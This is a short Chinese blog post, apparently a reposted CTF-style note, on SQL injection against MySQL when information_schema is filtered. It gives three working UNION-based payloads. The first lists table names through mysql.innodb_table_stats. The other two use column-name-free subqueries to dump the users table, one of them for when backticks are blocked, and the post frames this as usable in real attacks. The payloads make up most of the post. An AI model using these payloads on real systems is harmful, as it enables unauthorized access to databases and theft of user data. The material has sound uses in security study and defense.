这里提示过滤了 information_schema,所以我们没办法利用他获取表了。

从 MYSQL5.5.8 开始,InnoDB 成为其默认存储引擎。而在 MYSQL5.6 以上的版本中,inndb 增加了 innodb_index_stats 和innodb_table_stats 两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

这里我们利用 innodb_index_stats 获取表。

-1' union select 1,2,group_concat(table_name) from mysql.innodb_table_stats  where database_name=database()-- -

由于无法利用 information_schema 获取字段,所以我们利用无列名注入获取 users 表中的数据。

-1' union select 1,2,(select group_concat(`2`) from (select 1,2,3 union select * from users)n)-- -

如果在实战中反引号(`)被过滤我们可以这样子进行注入,给字段自定义名。

-1' union select 1,2,(select group_concat(b) from (select 1 as a,2 as b,3 as c union select * from users)n)-- -

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/637804
推荐阅读
相关标签
  

闽ICP备14008679号